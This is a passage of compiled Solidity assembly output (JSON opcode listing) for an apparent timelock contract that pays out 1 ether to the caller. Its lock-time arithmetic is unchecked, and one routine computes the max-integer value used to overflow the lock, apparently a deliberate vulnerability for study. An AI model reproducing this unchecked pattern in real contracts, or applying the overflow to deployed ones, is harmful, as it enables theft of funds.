"begin": 27, | |
"end": 28, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 20, | |
"end": 32, | |
"name": "REVERT" | |
}, | |
{ | |
"begin": 5, | |
"end": 7, | |
"name": "tag", | |
"value": "14" | |
}, | |
{ | |
"begin": 5, | |
"end": 7, | |
"name": "JUMPDEST" | |
}, | |
{ | |
"begin": 437, | |
"end": 631, | |
"name": "POP" | |
}, | |
{ | |
"begin": 437, | |
"end": 631, | |
"name": "PUSH [tag]", | |
"value": "15" | |
}, | |
{ | |
"begin": 437, | |
"end": 631, | |
"name": "PUSH [tag]", | |
"value": "16" | |
}, | |
{ | |
"begin": 437, | |
"end": 631, | |
"name": "JUMP" | |
}, | |
{ | |
"begin": 437, | |
"end": 631, | |
"name": "tag", | |
"value": "15" | |
}, | |
{ | |
"begin": 437, | |
"end": 631, | |
"name": "JUMPDEST" | |
}, | |
{ | |
"begin": 437, | |
"end": 631, | |
"name": "STOP" | |
}, | |
{ | |
"begin": 311, | |
"end": 427, | |
"name": "tag", | |
"value": "5" | |
}, | |
{ | |
"begin": 311, | |
"end": 427, | |
"name": "JUMPDEST" | |
}, | |
{ | |
"begin": 311, | |
"end": 427, | |
"name": "CALLVALUE" | |
}, | |
{ | |
"begin": 8, | |
"end": 17, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 5, | |
"end": 7, | |
"name": "ISZERO" | |
}, | |
{ | |
"begin": 5, | |
"end": 7, | |
"name": "PUSH [tag]", | |
"value": "17" | |
}, | |
{ | |
"begin": 5, | |
"end": 7, | |
"name": "JUMPI" | |
}, | |
{ | |
"begin": 30, | |
"end": 31, | |
"name": "PUSH", | |
"value": "0" | |
}, | |
{ | |
"begin": 27, | |
"end": 28, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 20, | |
"end": 32, | |
"name": "REVERT" | |
}, | |
{ | |
"begin": 5, | |
"end": 7, | |
"name": "tag", | |
"value": "17" | |
}, | |
{ | |
"begin": 5, | |
"end": 7, | |
"name": "JUMPDEST" | |
}, | |
{ | |
"begin": 311, | |
"end": 427, | |
"name": "POP" | |
}, | |
{ | |
"begin": 311, | |
"end": 427, | |
"name": "PUSH [tag]", | |
"value": "18" | |
}, | |
{ | |
"begin": 311, | |
"end": 427, | |
"name": "PUSH", | |
"value": "4" | |
}, | |
{ | |
"begin": 311, | |
"end": 427, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 311, | |
"end": 427, | |
"name": "CALLDATASIZE" | |
}, | |
{ | |
"begin": 311, | |
"end": 427, | |
"name": "SUB" | |
}, | |
{ | |
"begin": 311, | |
"end": 427, | |
"name": "DUP2" | |
}, | |
{ | |
"begin": 311, | |
"end": 427, | |
"name": "ADD" | |
}, | |
{ | |
"begin": 311, | |
"end": 427, | |
"name": "SWAP1" | |
}, | |
{ | |
"begin": 311, | |
"end": 427, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 311, | |
"end": 427, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 311, | |
"end": 427, | |
"name": "CALLDATALOAD" | |
}, | |
{ | |
"begin": 311, | |
"end": 427, | |
"name": "SWAP1" | |
}, | |
{ | |
"begin": 311, | |
"end": 427, | |
"name": "PUSH", | |
"value": "20" | |
}, | |
{ | |
"begin": 311, | |
"end": 427, | |
"name": "ADD" | |
}, | |
{ | |
"begin": 311, | |
"end": 427, | |
"name": "SWAP1" | |
}, | |
{ | |
"begin": 311, | |
"end": 427, | |
"name": "SWAP3" | |
}, | |
{ | |
"begin": 311, | |
"end": 427, | |
"name": "SWAP2" | |
}, | |
{ | |
"begin": 311, | |
"end": 427, | |
"name": "SWAP1" | |
}, | |
{ | |
"begin": 311, | |
"end": 427, | |
"name": "POP" | |
}, | |
{ | |
"begin": 311, | |
"end": 427, | |
"name": "POP" | |
}, | |
{ | |
"begin": 311, | |
"end": 427, | |
"name": "POP" | |
}, | |
{ | |
"begin": 311, | |
"end": 427, | |
"name": "PUSH [tag]", | |
"value": "19" | |
}, | |
{ | |
"begin": 311, | |
"end": 427, | |
"name": "JUMP" | |
}, | |
{ | |
"begin": 311, | |
"end": 427, | |
"name": "tag", | |
"value": "18" | |
}, | |
{ | |
"begin": 311, | |
"end": 427, | |
"name": "JUMPDEST" | |
}, | |
{ | |
"begin": 311, | |
"end": 427, | |
"name": "STOP" | |
}, | |
{ | |
"begin": 100, | |
"end": 140, | |
"name": "tag", | |
"value": "6" | |
}, | |
{ | |
"begin": 100, | |
"end": 140, | |
"name": "JUMPDEST" | |
}, | |
{ | |
"begin": 100, | |
"end": 140, | |
"name": "CALLVALUE" | |
}, | |
{ | |
"begin": 8, | |
"end": 17, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 5, | |
"end": 7, | |
"name": "ISZERO" | |
}, | |
{ | |
"begin": 5, | |
"end": 7, | |
"name": "PUSH [tag]", | |
"value": "20" | |
}, | |
{ | |
"begin": 5, | |
"end": 7, | |
"name": "JUMPI" | |
}, | |
{ | |
"begin": 30, | |
"end": 31, | |
"name": "PUSH", | |
"value": "0" | |
}, | |
{ | |
"begin": 27, | |
"end": 28, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 20, | |
"end": 32, | |
"name": "REVERT" | |
}, | |
{ | |
"begin": 5, | |
"end": 7, | |
"name": "tag", | |
"value": "20" | |
}, | |
{ | |
"begin": 5, | |
"end": 7, | |
"name": "JUMPDEST" | |
}, | |
{ | |
"begin": 100, | |
"end": 140, | |
"name": "POP" | |
}, | |
{ | |
"begin": 100, | |
"end": 140, | |
"name": "PUSH [tag]", | |
"value": "21" | |
}, | |
{ | |
"begin": 100, | |
"end": 140, | |
"name": "PUSH", | |
"value": "4" | |
}, | |
{ | |
"begin": 100, | |
"end": 140, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 100, | |
"end": 140, | |
"name": "CALLDATASIZE" | |
}, | |
{ | |
"begin": 100, | |
"end": 140, | |
"name": "SUB" | |
}, | |
{ | |
"begin": 100, | |
"end": 140, | |
"name": "DUP2" | |
}, | |
{ | |
"begin": 100, | |
"end": 140, | |
"name": "ADD" | |
}, | |
{ | |
"begin": 100, | |
"end": 140, | |
"name": "SWAP1" | |
}, | |
{ | |
"begin": 100, | |
"end": 140, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 100, | |
"end": 140, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 100, | |
"end": 140, | |
"name": "CALLDATALOAD" | |
}, | |
{ | |
"begin": 100, | |
"end": 140, | |
"name": "PUSH", | |
"value": "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF" | |
}, | |
{ | |
"begin": 100, | |
"end": 140, | |
"name": "AND" | |
}, | |
{ | |
"begin": 100, | |
"end": 140, | |
"name": "SWAP1" | |
}, | |
{ | |
"begin": 100, | |
"end": 140, | |
"name": "PUSH", | |
"value": "20" | |
}, | |
{ | |
"begin": 100, | |
"end": 140, | |
"name": "ADD" | |
}, | |
{ | |
"begin": 100, | |
"end": 140, | |
"name": "SWAP1" | |
}, | |
{ | |
"begin": 100, | |
"end": 140, | |
"name": "SWAP3" | |
}, | |
{ | |
"begin": 100, | |
"end": 140, | |
"name": "SWAP2" | |
}, | |
{ | |
"begin": 100, | |
"end": 140, | |
"name": "SWAP1" | |
}, | |
{ | |
"begin": 100, | |
"end": 140, | |
"name": "POP" | |
}, | |
{ | |
"begin": 100, | |
"end": 140, | |
"name": "POP" | |
}, | |
{ | |
"begin": 100, | |
"end": 140, | |
"name": "POP" | |
}, | |
{ | |
"begin": 100, | |
"end": 140, | |
"name": "PUSH [tag]", | |
"value": "22" | |
}, | |
{ | |
"begin": 100, | |
"end": 140, | |
"name": "JUMP" | |
}, | |
{ | |
"begin": 100, | |
"end": 140, | |
"name": "tag", | |
"value": "21" | |
}, | |
{ | |
"begin": 100, | |
"end": 140, | |
"name": "JUMPDEST" | |
}, | |
{ | |
"begin": 100, | |
"end": 140, | |
"name": "PUSH", | |
"value": "40" | |
}, | |
{ | |
"begin": 100, | |
"end": 140, | |
"name": "MLOAD" | |
}, | |
{ | |
"begin": 100, | |
"end": 140, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 100, | |
"end": 140, | |
"name": "DUP3" | |
}, | |
{ | |
"begin": 100, | |
"end": 140, | |
"name": "DUP2" | |
}, | |
{ | |
"begin": 100, | |
"end": 140, | |
"name": "MSTORE" | |
}, | |
{ | |
"begin": 100, | |
"end": 140, | |
"name": "PUSH", | |
"value": "20" | |
}, | |
{ | |
"begin": 100, | |
"end": 140, | |
"name": "ADD" | |
}, | |
{ | |
"begin": 100, | |
"end": 140, | |
"name": "SWAP2" | |
}, | |
{ | |
"begin": 100, | |
"end": 140, | |
"name": "POP" | |
}, | |
{ | |
"begin": 100, | |
"end": 140, | |
"name": "POP" | |
}, | |
{ | |
"begin": 100, | |
"end": 140, | |
"name": "PUSH", | |
"value": "40" | |
}, | |
{ | |
"begin": 100, | |
"end": 140, | |
"name": "MLOAD" | |
}, | |
{ | |
"begin": 100, | |
"end": 140, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 100, | |
"end": 140, | |
"name": "SWAP2" | |
}, | |
{ | |
"begin": 100, | |
"end": 140, | |
"name": "SUB" | |
}, | |
{ | |
"begin": 100, | |
"end": 140, | |
"name": "SWAP1" | |
}, | |
{ | |
"begin": 100, | |
"end": 140, | |
"name": "RETURN" | |
}, | |
{ | |
"begin": 172, | |
"end": 301, | |
"name": "tag", | |
"value": "7" | |
}, | |
{ | |
"begin": 172, | |
"end": 301, | |
"name": "JUMPDEST" | |
}, | |
{ | |
"begin": 172, | |
"end": 301, | |
"name": "PUSH [tag]", | |
"value": "23" | |
}, | |
{ | |
"begin": 172, | |
"end": 301, | |
"name": "PUSH [tag]", | |
"value": "24" | |
}, | |
{ | |
"begin": 172, | |
"end": 301, | |
"name": "JUMP" | |
}, | |
{ | |
"begin": 172, | |
"end": 301, | |
"name": "tag", | |
"value": "23" | |
}, | |
{ | |
"begin": 172, | |
"end": 301, | |
"name": "JUMPDEST" | |
}, | |
{ | |
"begin": 172, | |
"end": 301, | |
"name": "STOP" | |
}, | |
{ | |
"begin": 708, | |
"end": 851, | |
"name": "tag", | |
"value": "10" | |
}, | |
{ | |
"begin": 708, | |
"end": 851, | |
"name": "JUMPDEST" | |
}, | |
{ | |
"begin": 751, | |
"end": 755, | |
"name": "PUSH", | |
"value": "0" | |
}, | |
{ | |
"begin": 815, | |
"end": 816, | |
"name": "PUSH", | |
"value": "1" | |
}, | |
{ | |
"begin": 793, | |
"end": 801, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 793, | |
"end": 813, | |
"name": "PUSH", | |
"value": "0" | |
}, | |
{ | |
"begin": 802, | |
"end": 812, | |
"name": "CALLER" | |
}, | |
{ | |
"begin": 793, | |
"end": 813, | |
"name": "PUSH", | |
"value": "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF" | |
}, | |
{ | |
"begin": 793, | |
"end": 813, | |
"name": "AND" | |
}, | |
{ | |
"begin": 793, | |
"end": 813, | |
"name": "PUSH", | |
"value": "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF" | |
}, | |
{ | |
"begin": 793, | |
"end": 813, | |
"name": "AND" | |
}, | |
{ | |
"begin": 793, | |
"end": 813, | |
"name": "DUP2" | |
}, | |
{ | |
"begin": 793, | |
"end": 813, | |
"name": "MSTORE" | |
}, | |
{ | |
"begin": 793, | |
"end": 813, | |
"name": "PUSH", | |
"value": "20" | |
}, | |
{ | |
"begin": 793, | |
"end": 813, | |
"name": "ADD" | |
}, | |
{ | |
"begin": 793, | |
"end": 813, | |
"name": "SWAP1" | |
}, | |
{ | |
"begin": 793, | |
"end": 813, | |
"name": "DUP2" | |
}, | |
{ | |
"begin": 793, | |
"end": 813, | |
"name": "MSTORE" | |
}, | |
{ | |
"begin": 793, | |
"end": 813, | |
"name": "PUSH", | |
"value": "20" | |
}, | |
{ | |
"begin": 793, | |
"end": 813, | |
"name": "ADD" | |
}, | |
{ | |
"begin": 793, | |
"end": 813, | |
"name": "PUSH", | |
"value": "0" | |
}, | |
{ | |
"begin": 793, | |
"end": 813, | |
"name": "KECCAK256" | |
}, | |
{ | |
"begin": 793, | |
"end": 813, | |
"name": "SLOAD" | |
}, | |
{ | |
"begin": 780, | |
"end": 790, | |
"name": "PUSH", | |
"value": "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF" | |
}, | |
{ | |
"begin": 780, | |
"end": 813, | |
"name": "SUB" | |
}, | |
{ | |
"begin": 780, | |
"end": 816, | |
"name": "ADD" | |
}, | |
{ | |
"begin": 767, | |
"end": 777, | |
"name": "PUSH", | |
"value": "2" | |
}, | |
{ | |
"begin": 767, | |
"end": 816, | |
"name": "DUP2" | |
}, | |
{ | |
"begin": 767, | |
"end": 816, | |
"name": "SWAP1" | |
}, | |
{ | |
"begin": 767, | |
"end": 816, | |
"name": "SSTORE" | |
}, | |
{ | |
"begin": 767, | |
"end": 816, | |
"name": "POP" | |
}, | |
{ | |
"begin": 834, | |
"end": 844, | |
"name": "PUSH", | |
"value": "2" | |
}, | |
{ | |
"begin": 834, | |
"end": 844, | |
"name": "SLOAD" | |
}, | |
{ | |
"begin": 827, | |
"end": 844, | |
"name": "SWAP1" | |
}, | |
{ | |
"begin": 827, | |
"end": 844, | |
"name": "POP" | |
}, | |
{ | |
"begin": 708, | |
"end": 851, | |
"name": "SWAP1" | |
}, | |
{ | |
"begin": 708, | |
"end": 851, | |
"name": "JUMP", | |
"value": "[out]" | |
}, | |
{ | |
"begin": 54, | |
"end": 94, | |
"name": "tag", | |
"value": "13" | |
}, | |
{ | |
"begin": 54, | |
"end": 94, | |
"name": "JUMPDEST" | |
}, | |
{ | |
"begin": 54, | |
"end": 94, | |
"name": "PUSH", | |
"value": "0" | |
}, | |
{ | |
"begin": 54, | |
"end": 94, | |
"name": "PUSH", | |
"value": "20" | |
}, | |
{ | |
"begin": 54, | |
"end": 94, | |
"name": "MSTORE" | |
}, | |
{ | |
"begin": 54, | |
"end": 94, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 54, | |
"end": 94, | |
"name": "PUSH", | |
"value": "0" | |
}, | |
{ | |
"begin": 54, | |
"end": 94, | |
"name": "MSTORE" | |
}, | |
{ | |
"begin": 54, | |
"end": 94, | |
"name": "PUSH", | |
"value": "40" | |
}, | |
{ | |
"begin": 54, | |
"end": 94, | |
"name": "PUSH", | |
"value": "0" | |
}, | |
{ | |
"begin": 54, | |
"end": 94, | |
"name": "KECCAK256" | |
}, | |
{ | |
"begin": 54, | |
"end": 94, | |
"name": "PUSH", | |
"value": "0" | |
}, | |
{ | |
"begin": 54, | |
"end": 94, | |
"name": "SWAP2" | |
}, | |
{ | |
"begin": 54, | |
"end": 94, | |
"name": "POP" | |
}, | |
{ | |
"begin": 54, | |
"end": 94, | |
"name": "SWAP1" | |
}, | |
{ | |
"begin": 54, | |
"end": 94, | |
"name": "POP" | |
}, | |
{ | |
"begin": 54, | |
"end": 94, | |
"name": "SLOAD" | |
}, | |
{ | |
"begin": 54, | |
"end": 94, | |
"name": "DUP2" | |
}, | |
{ | |
"begin": 54, | |
"end": 94, | |
"name": "JUMP", | |
"value": "[out]" | |
}, | |
{ | |
"begin": 437, | |
"end": 631, | |
"name": "tag", | |
"value": "16" | |
}, | |
{ | |
"begin": 437, | |
"end": 631, | |
"name": "JUMPDEST" | |
}, | |
{ | |
"begin": 505, | |
"end": 506, | |
"name": "PUSH", | |
"value": "0" | |
}, | |
{ | |
"begin": 482, | |
"end": 490, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 482, | |
"end": 502, | |
"name": "PUSH", | |
"value": "0" | |
}, | |
{ | |
"begin": 491, | |
"end": 501, | |
"name": "CALLER" | |
}, | |
{ | |
"begin": 482, | |
"end": 502, | |
"name": "PUSH", | |
"value": "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF" | |
}, | |
{ | |
"begin": 482, | |
"end": 502, | |
"name": "AND" | |
}, | |
{ | |
"begin": 482, | |
"end": 502, | |
"name": "PUSH", | |
"value": "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF" | |
}, | |
{ | |
"begin": 482, | |
"end": 502, | |
"name": "AND" | |
}, | |
{ | |
"begin": 482, | |
"end": 502, | |
"name": "DUP2" | |
}, | |
{ | |
"begin": 482, | |
"end": 502, | |
"name": "MSTORE" | |
}, | |
{ | |
"begin": 482, | |
"end": 502, | |
"name": "PUSH", | |
"value": "20" | |
}, | |
{ | |
"begin": 482, | |
"end": 502, | |
"name": "ADD" | |
}, | |
{ | |
"begin": 482, | |
"end": 502, | |
"name": "SWAP1" | |
}, | |
{ | |
"begin": 482, | |
"end": 502, | |
"name": "DUP2" | |
}, | |
{ | |
"begin": 482, | |
"end": 502, | |
"name": "MSTORE" | |
}, | |
{ | |
"begin": 482, | |
"end": 502, | |
"name": "PUSH", | |
"value": "20" | |
}, | |
{ | |
"begin": 482, | |
"end": 502, | |
"name": "ADD" | |
}, | |
{ | |
"begin": 482, | |
"end": 502, | |
"name": "PUSH", | |
"value": "0" | |
}, | |
{ | |
"begin": 482, | |
"end": 502, | |
"name": "KECCAK256" | |
}, | |
{ | |
"begin": 482, | |
"end": 502, | |
"name": "SLOAD" | |
}, | |
{ | |
"begin": 482, | |
"end": 506, | |
"name": "GT" | |
}, | |
{ | |
"begin": 474, | |
"end": 507, | |
"name": "ISZERO" | |
}, | |
{ | |
"begin": 474, | |
"end": 507, | |
"name": "ISZERO" | |
}, | |
{ | |
"begin": 474, | |
"end": 507, | |
"name": "PUSH [tag]", | |
"value": "27" | |
}, | |
{ | |
"begin": 474, | |
"end": 507, | |
"name": "JUMPI" | |
}, | |
{ | |
"begin": 474, | |
"end": 507, | |
"name": "PUSH", | |
"value": "0" | |
}, | |
{ | |
"begin": 474, | |
"end": 507, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 474, | |
"end": 507, | |
"name": "REVERT" | |
}, | |
{ | |
"begin": 474, | |
"end": 507, | |
"name": "tag", | |
"value": "27" | |
}, | |
{ | |
"begin": 474, | |
"end": 507, | |
"name": "JUMPDEST" | |
}, | |
{ | |
"begin": 531, | |
"end": 539, | |
"name": "PUSH", | |
"value": "1" | |
}, | |
{ | |
"begin": 531, | |
"end": 551, | |
"name": "PUSH", | |
"value": "0" | |
}, | |
{ | |
"begin": 540, | |
"end": 550, | |
"name": "CALLER" | |
}, | |
{ | |
"begin": 531, | |
"end": 551, | |
"name": "PUSH", | |
"value": "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF" | |
}, | |
{ | |
"begin": 531, | |
"end": 551, | |
"name": "AND" | |
}, | |
{ | |
"begin": 531, | |
"end": 551, | |
"name": "PUSH", | |
"value": "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF" | |
}, | |
{ | |
"begin": 531, | |
"end": 551, | |
"name": "AND" | |
}, | |
{ | |
"begin": 531, | |
"end": 551, | |
"name": "DUP2" | |
}, | |
{ | |
"begin": 531, | |
"end": 551, | |
"name": "MSTORE" | |
}, | |
{ | |
"begin": 531, | |
"end": 551, | |
"name": "PUSH", | |
"value": "20" | |
}, | |
{ | |
"begin": 531, | |
"end": 551, | |
"name": "ADD" | |
}, | |
{ | |
"begin": 531, | |
"end": 551, | |
"name": "SWAP1" | |
}, | |
{ | |
"begin": 531, | |
"end": 551, | |
"name": "DUP2" | |
}, | |
{ | |
"begin": 531, | |
"end": 551, | |
"name": "MSTORE" | |
}, | |
{ | |
"begin": 531, | |
"end": 551, | |
"name": "PUSH", | |
"value": "20" | |
}, | |
{ | |
"begin": 531, | |
"end": 551, | |
"name": "ADD" | |
}, | |
{ | |
"begin": 531, | |
"end": 551, | |
"name": "PUSH", | |
"value": "0" | |
}, | |
{ | |
"begin": 531, | |
"end": 551, | |
"name": "KECCAK256" | |
}, | |
{ | |
"begin": 531, | |
"end": 551, | |
"name": "SLOAD" | |
}, | |
{ | |
"begin": 525, | |
"end": 528, | |
"name": "TIMESTAMP" | |
}, | |
{ | |
"begin": 525, | |
"end": 551, | |
"name": "GT" | |
}, | |
{ | |
"begin": 517, | |
"end": 552, | |
"name": "ISZERO" | |
}, | |
{ | |
"begin": 517, | |
"end": 552, | |
"name": "ISZERO" | |
}, | |
{ | |
"begin": 517, | |
"end": 552, | |
"name": "PUSH [tag]", | |
"value": "28" | |
}, | |
{ | |
"begin": 517, | |
"end": 552, | |
"name": "JUMPI" | |
}, | |
{ | |
"begin": 517, | |
"end": 552, | |
"name": "PUSH", | |
"value": "0" | |
}, | |
{ | |
"begin": 517, | |
"end": 552, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 517, | |
"end": 552, | |
"name": "REVERT" | |
}, | |
{ | |
"begin": 517, | |
"end": 552, | |
"name": "tag", | |
"value": "28" | |
}, | |
{ | |
"begin": 517, | |
"end": 552, | |
"name": "JUMPDEST" | |
}, | |
{ | |
"begin": 585, | |
"end": 586, | |
"name": "PUSH", | |
"value": "0" | |
}, | |
{ | |
"begin": 562, | |
"end": 570, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 562, | |
"end": 582, | |
"name": "PUSH", | |
"value": "0" | |
}, | |
{ | |
"begin": 571, | |
"end": 581, | |
"name": "CALLER" | |
}, | |
{ | |
"begin": 562, | |
"end": 582, | |
"name": "PUSH", | |
"value": "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF" | |
}, | |
{ | |
"begin": 562, | |
"end": 582, | |
"name": "AND" | |
}, | |
{ | |
"begin": 562, | |
"end": 582, | |
"name": "PUSH", | |
"value": "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF" | |
}, | |
{ | |
"begin": 562, | |
"end": 582, | |
"name": "AND" | |
}, | |
{ | |
"begin": 562, | |
"end": 582, | |
"name": "DUP2" | |
}, | |
{ | |
"begin": 562, | |
"end": 582, | |
"name": "MSTORE" | |
}, | |
{ | |
"begin": 562, | |
"end": 582, | |
"name": "PUSH", | |
"value": "20" | |
}, | |
{ | |
"begin": 562, | |
"end": 582, | |
"name": "ADD" | |
}, | |
{ | |
"begin": 562, | |
"end": 582, | |
"name": "SWAP1" | |
}, | |
{ | |
"begin": 562, | |
"end": 582, | |
"name": "DUP2" | |
}, | |
{ | |
"begin": 562, | |
"end": 582, | |
"name": "MSTORE" | |
}, | |
{ | |
"begin": 562, | |
"end": 582, | |
"name": "PUSH", | |
"value": "20" | |
}, | |
{ | |
"begin": 562, | |
"end": 582, | |
"name": "ADD" | |
}, | |
{ | |
"begin": 562, | |
"end": 582, | |
"name": "PUSH", | |
"value": "0" | |
}, | |
{ | |
"begin": 562, | |
"end": 582, | |
"name": "KECCAK256" | |
}, | |
{ | |
"begin": 562, | |
"end": 586, | |
"name": "DUP2" | |
}, | |
{ | |
"begin": 562, | |
"end": 586, | |
"name": "SWAP1" | |
}, | |
{ | |
"begin": 562, | |
"end": 586, | |
"name": "SSTORE" | |
}, | |
{ | |
"begin": 562, | |
"end": 586, | |
"name": "POP" | |
}, | |
{ | |
"begin": 596, | |
"end": 606, | |
"name": "CALLER" | |
}, | |
{ | |
"begin": 596, | |
"end": 615, | |
"name": "PUSH", | |
"value": "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF" | |
}, | |
{ | |
"begin": 596, | |
"end": 615, | |
"name": "AND" | |
}, | |
{ | |
"begin": 596, | |
"end": 624, | |
"name": "PUSH", | |
"value": "8FC" | |
}, | |
{ | |
"begin": 616, | |
"end": 623, | |
"name": "PUSH", | |
"value": "DE0B6B3A7640000" | |
}, | |
{ | |
"begin": 596, | |
"end": 624, | |
"name": "SWAP1" | |
}, | |
{ | |
"begin": 596, | |
"end": 624, | |
"name": "DUP2" | |
}, | |
{ | |
"begin": 596, | |
"end": 624, | |
"name": "ISZERO" | |
}, | |
{ | |
"begin": 596, | |
"end": 624, | |
"name": "MUL" | |
}, | |
{ | |
"begin": 596, | |
"end": 624, | |
"name": "SWAP1" | |
}, | |
{ | |
"begin": 596, | |
"end": 624, | |
"name": "PUSH", | |
"value": "40" | |
}, | |
{ | |
"begin": 596, | |
"end": 624, | |
"name": "MLOAD" | |
}, | |
{ | |
"begin": 596, | |
"end": 624, | |
"name": "PUSH", | |
"value": "0" | |
}, | |
{ | |
"begin": 596, | |
"end": 624, | |
"name": "PUSH", | |
"value": "40" | |
}, | |
{ | |
"begin": 596, | |
"end": 624, | |
"name": "MLOAD" | |
}, | |
{ | |
"begin": 596, | |
"end": 624, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 596, | |
"end": 624, | |
"name": "DUP4" | |
}, | |
{ | |
"begin": 596, | |
"end": 624, | |
"name": "SUB" | |
}, | |
{ | |
"begin": 596, | |
"end": 624, | |
"name": "DUP2" | |
}, | |
{ | |
"begin": 596, | |
"end": 624, | |
"name": "DUP6" | |
}, | |
{ | |
"begin": 596, | |
"end": 624, | |
"name": "DUP9" | |
}, | |
{ | |
"begin": 596, | |
"end": 624, | |
"name": "DUP9" | |
}, | |
{ | |
"begin": 596, | |
"end": 624, | |
"name": "CALL" | |
}, | |
{ | |
"begin": 596, | |
"end": 624, | |
"name": "SWAP4" | |
}, | |
{ | |
"begin": 596, | |
"end": 624, | |
"name": "POP" | |
}, | |
{ | |
"begin": 596, | |
"end": 624, | |
"name": "POP" | |
}, | |
{ | |
"begin": 596, | |
"end": 624, | |
"name": "POP" | |
}, | |
{ | |
"begin": 596, | |
"end": 624, | |
"name": "POP" | |
}, | |
{ | |
"begin": 596, | |
"end": 624, | |
"name": "ISZERO" | |
}, | |
{ | |
"begin": 8, | |
"end": 17, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 5, | |
"end": 7, | |
"name": "ISZERO" | |
}, | |
{ | |
"begin": 5, | |
"end": 7, | |
"name": "PUSH [tag]", | |
"value": "29" | |
}, | |
{ | |
"begin": 5, | |
"end": 7, | |
"name": "JUMPI" | |
}, | |
{ | |
"begin": 45, | |
"end": 61, | |
"name": "RETURNDATASIZE" | |
}, | |
{ | |
"begin": 42, | |
"end": 43, | |
"name": "PUSH", | |
"value": "0" | |
}, | |
{ | |
"begin": 39, | |
"end": 40, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 24, | |
"end": 62, | |
"name": "RETURNDATACOPY" | |
}, | |
{ | |
"begin": 77, | |
"end": 93, | |
"name": "RETURNDATASIZE" | |
}, | |
{ | |
"begin": 74, | |
"end": 75, | |
"name": "PUSH", | |
"value": "0" | |
}, | |
{ | |
"begin": 67, | |
"end": 94, | |
"name": "REVERT" | |
}, | |
{ | |
"begin": 5, | |
"end": 7, | |
"name": "tag", | |
"value": "29" | |
}, | |
{ | |
"begin": 5, | |
"end": 7, | |
"name": "JUMPDEST" | |
}, | |
{ | |
"begin": 596, | |
"end": 624, | |
"name": "POP" | |
}, | |
{ | |
"begin": 437, | |
"end": 631, | |
"name": "JUMP", | |
"value": "[out]" | |
}, | |
{ | |
"begin": 311, | |
"end": 427, | |
"name": "tag", | |
"value": "19" | |
}, | |
{ | |
"begin": 311, | |
"end": 427, | |
"name": "JUMPDEST" | |
}, | |
{ | |
"begin": 402, | |
"end": 420, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 378, | |
"end": 386, | |
"name": "PUSH", | |
"value": "1" | |
}, | |
{ | |
"begin": 378, | |
"end": 398, | |
"name": "PUSH", | |
"value": "0" | |
}, | |
{ | |
"begin": 387, | |
"end": 397, | |
"name": "CALLER" | |
}, | |
{ | |
"begin": 378, | |
"end": 398, | |
"name": "PUSH", | |
"value": "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF" | |
}, | |
{ | |
"begin": 378, | |
"end": 398, | |
"name": "AND" | |
}, | |
{ | |
"begin": 378, | |
"end": 398, | |
"name": "PUSH", | |
"value": "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF" | |
}, | |
{ | |
"begin": 378, | |
"end": 398, | |
"name": "AND" | |
}, | |
{ | |
"begin": 378, | |
"end": 398, | |
"name": "DUP2" | |
}, | |
{ | |
"begin": 378, | |
"end": 398, | |
"name": "MSTORE" | |
}, | |
{ | |
"begin": 378, | |
"end": 398, | |
"name": "PUSH", | |
"value": "20" | |
}, | |
{ | |
"begin": 378, | |
"end": 398, | |
"name": "ADD" | |
}, | |
{ | |
"begin": 378, | |
"end": 398, | |
"name": "SWAP1" | |
}, | |
{ | |
"begin": 378, | |
"end": 398, | |
"name": "DUP2" | |
}, | |
{ | |
"begin": 378, | |
"end": 398, | |
"name": "MSTORE" | |
}, | |
{ | |
"begin": 378, | |
"end": 398, | |
"name": "PUSH", | |
"value": "20" | |
}, | |
{ | |
"begin": 378, | |
"end": 398, | |
"name": "ADD" | |
}, | |
{ | |
"begin": 378, | |
"end": 398, | |
"name": "PUSH", | |
"value": "0" | |
}, | |
{ | |
"begin": 378, | |
"end": 398, | |
"name": "KECCAK256" | |
}, | |
{ | |
"begin": 378, | |
"end": 398, | |
"name": "PUSH", | |
"value": "0" | |
}, | |
{ | |
"begin": 378, | |
"end": 420, | |
"name": "DUP3" | |
}, | |
{ | |
"begin": 378, | |
"end": 420, | |
"name": "DUP3" | |
}, | |
{ | |
"begin": 378, | |
"end": 420, | |
"name": "SLOAD" | |
}, | |
{ | |
"begin": 378, | |
"end": 420, | |
"name": "ADD" | |
}, | |
{ | |
"begin": 378, | |
"end": 420, | |
"name": "SWAP3" | |
}, | |
{ | |
"begin": 378, | |
